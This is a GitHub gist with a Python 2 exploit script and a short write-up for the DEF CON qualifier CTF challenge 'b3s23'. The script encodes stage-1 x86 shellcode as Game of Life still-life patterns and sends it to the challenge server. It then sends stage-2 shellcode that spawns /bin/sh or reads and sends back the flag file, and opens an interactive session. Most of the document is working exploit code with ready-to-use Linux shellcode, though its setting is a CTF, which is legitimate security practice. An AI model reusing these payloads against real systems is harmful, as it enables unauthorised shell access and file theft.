-
-
Save zTrix/bf572e0be977d4c2aced61541cc3a9d7 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2 | |
#-*- coding:utf-8 -*- | |
import os, sys | |
# https://github.com/zTrix/zio | |
from zio import * | |
nop = [(0,0), (3, 0), (0, 1), (1, 1), (2, 1), (3, 1), (0, 3), (1, 3), (0, 4), (1, 4)] | |
nop2 = [(0,0), (3, 0), (0, 1), (1, 1), (2, 1), (3, 1), (2, 3), (3, 3), (2, 4), (3, 4)] | |
inc_eax = [(1, 0), (0, 1), (2, 1), (1, 2)] | |
inc_eax2 = [(1, 0), (0, 1), (2, 1), (0,2), (2,2), (1, 3)] | |
# 0x53 | |
push_ebx = [(1, 0), (3, 0), (0, 1), (2, 1), (3, 1), (0, 2), (0, 3), (-1, 3), (6, 0), (7, 0), (6, 1), (7, 1)] | |
# 0x51 | |
push_ecx = [(1, 0), (3, 0), (1, 1), (2, 1), (4, 1), (4, 2), (4, 3), (5, 3), (7, 0), (7, 1), (8, 1), (9, 1), (10, 2), (9, 3), (11, 3), (11, 4), (10, 4)] | |
# 0x51 0x6a 0x3c | |
push_ecx_push_num = [(1, 0), (3, 0), (1, 1), (2, 1), (4, 1), (4, 2), (4, 3), (5, 3), (7,0), (9,0), (10,0), (7,1),(8,1),(10,1),(12,0),(14,0),(12,1),(13,1),(15,1),(15,2),(15,3),(16,3),(18,0),(19,0),(20,0),(21,0),(18,1),(19,2),(20,2),(21,1)] | |
# push_es = [(5, 0), (6, 0), (5, 1), (6, 1)] | |
# pop_es = [(5, 0), (6, 0), (7, 0), (4, 1), (7, 1), (5, 2), (6, 2)] | |
# pop_es_nop = [] | |
push_num = [(1, 0), (2,0), (1, 1), (2, 1), (4,0), (6,0), (4,1), (5,1), (7,1), (7,2), (7,3), (8,3), (10,0), (11,0), (12,0), (13,0), (10, 1), (11,2), (12,2), (13,1)] | |
pop_edx = [(1,0), (3,0), (4,0), (6,0), (1,1), (2,1), (4,1), (6,1), (7,1), (8,1), (9, 2), (8, 3), (9, 3)] | |
# 0x5a 0x5b | |
pop_edx_pop_ebx = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (6,0), (9,0), (6,1), (7,1), (8,1), (9,1), (8,3), (9,3), (8,4), (9,4), (11,0),(12,0),(11,1),(12,1),(11,3),(12,3),(11,4),(12,4),(14,0),(15,0),(14,1),(15,1),(14,3),(15,3),(14,4),(15,4)] | |
# 0x59 0xcd 0x80 | |
pop_ecx_int_80 = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (1,3), (2,3), (4,3), (1,4), (3,4), (4,4), (7,0),(8,0),(7,1),(8,1),(11,0),(12,0),(11,1),(12,1), (16,0),(17,0),(16,1),(17,1),(20,0),(21,0),(20,1),(21,1),(23,0),(24,0),(23,1),(24,1)] | |
pop_ecx_int_80_half = [(1,0), (3,0), (4,0), (1,1), (2,1), (4,1), (1,3), (2,3), (4,3), (1,4), (3,4), (4,4), (7,0),(8,0),(7,1),(8,1),(11,0),(12,0),(11,1),(12,1), (16,0),(17,0),(16,1),(17,1),(20,0),(21,0),(20,1),(21,1)] | |
def put(base, block): | |
ret = [] | |
for i in block: | |
ret.append((i[0] + base[0], i[1] + base[1])) | |
return ret | |
# final = [] | |
# | |
# # final += put((0,0), nop) | |
# final += put((0,0), inc_eax) | |
# final += put((8,0), inc_eax) | |
# final += put((16,0), inc_eax) | |
# final += put((24,0), push_ebx) | |
# final += put((32,0), push_ecx) | |
# final += put((40,0), push_es) | |
# final += put((48,0), pop_es) | |
# final += put((56,0), push_num) | |
# # final += put((72,0), pop_edx) | |
# final += put((72,0), pop_edx_pop_ebx) | |
# final += put((88,0), pop_ecx_int_80) | |
final = [] | |
# final += put((0,0), nop) | |
final += put((0,0), inc_eax2) | |
final += put((8,0), inc_eax2) | |
final += put((16,0), inc_eax2) | |
final += put((24,0), push_ebx) | |
final += put((32,0), push_ecx_push_num) | |
final += put((56,0), pop_edx_pop_ebx) | |
final += put((72,0), pop_ecx_int_80) | |
#for i in final[::-1]: | |
# print '%d,%d' % (i[0], i[1]) | |
target = ('b3s23_28f1ea914f8c873d232da030d4dd00e8.quals.shallweplayaga.me', 2323) | |
# target = ('127.0.0.1', 2323) | |
io = zio(target, print_read=RAW, print_write=COLORED(REPR, 'yellow'), timeout=10000) | |
io.read_until('run.') | |
# io.gdb_hint() | |
for i in final[::-1]: | |
io.writeline('%d,%d' % (i[0], i[1])) | |
io.writeline('a') | |
import time | |
time.sleep(1) | |
shellcode = 'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\xcd\x80\xeb\xfe' | |
shellcode = 'j\x01\xfe\x0c$hflag\x89\xe31\xc91\xd2j\x05X\xcd\x80j\x01[\x89\xc1h\xff\xff\xff\x7f^1\xc0\xb0\xbb\x99\xcd\x80' | |
shellcode = 'j\x01\xfe\x0c$hflagj\x05X\x89\xe31\xc9\x99\xcd\x80\x89\xc11\xc0\xb0\xbbj\x01[h\xff\xff\xff\x7f^\x99\xcd\x80' | |
# shellcode = 'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\x90\x90\xeb\xfe' | |
# shellcode = '\xeb\xfe' | |
io.writeline(shellcode.rjust(0x3c, '\x90')) | |
io.interact() | |
The basic idea is to construct a stage1 shellcode as short as possible, after watching the register values before execution of shellcode, we found that ebx has a pointer value to the shellcode area.
So if the shellcode does sth like sys_read(0, pointer, size)
to overwrite the shellcode buffer, then we can execute our stage 2 shellcode.
Stage 1 shellcode is written roughly like this (should be short enough to put in the first line):
push 0x3d
pop edx
inc eax
inc eax
inc eax
push ebx
push ecx
pop ebx
pop ecx
int 80
So we need to construct a game of life initial value that after 13 rounds of evolution, contains this shellcode in the first line. We tried searching algorithms, but turned out to be hard to search for 13 rounds. So we turned to still life, aiming to construct a still life initial value that no matter how many rounds of evolution, the state never change.
There are a list of common still lifes here: http://www.conwaylife.com/wiki/List_of_common_still_lifes
We reordered the shellcode instructions to fulfill layout requirement, and finally construct the initial value, as shown in the gist python script.
Could you explain how you got his idea?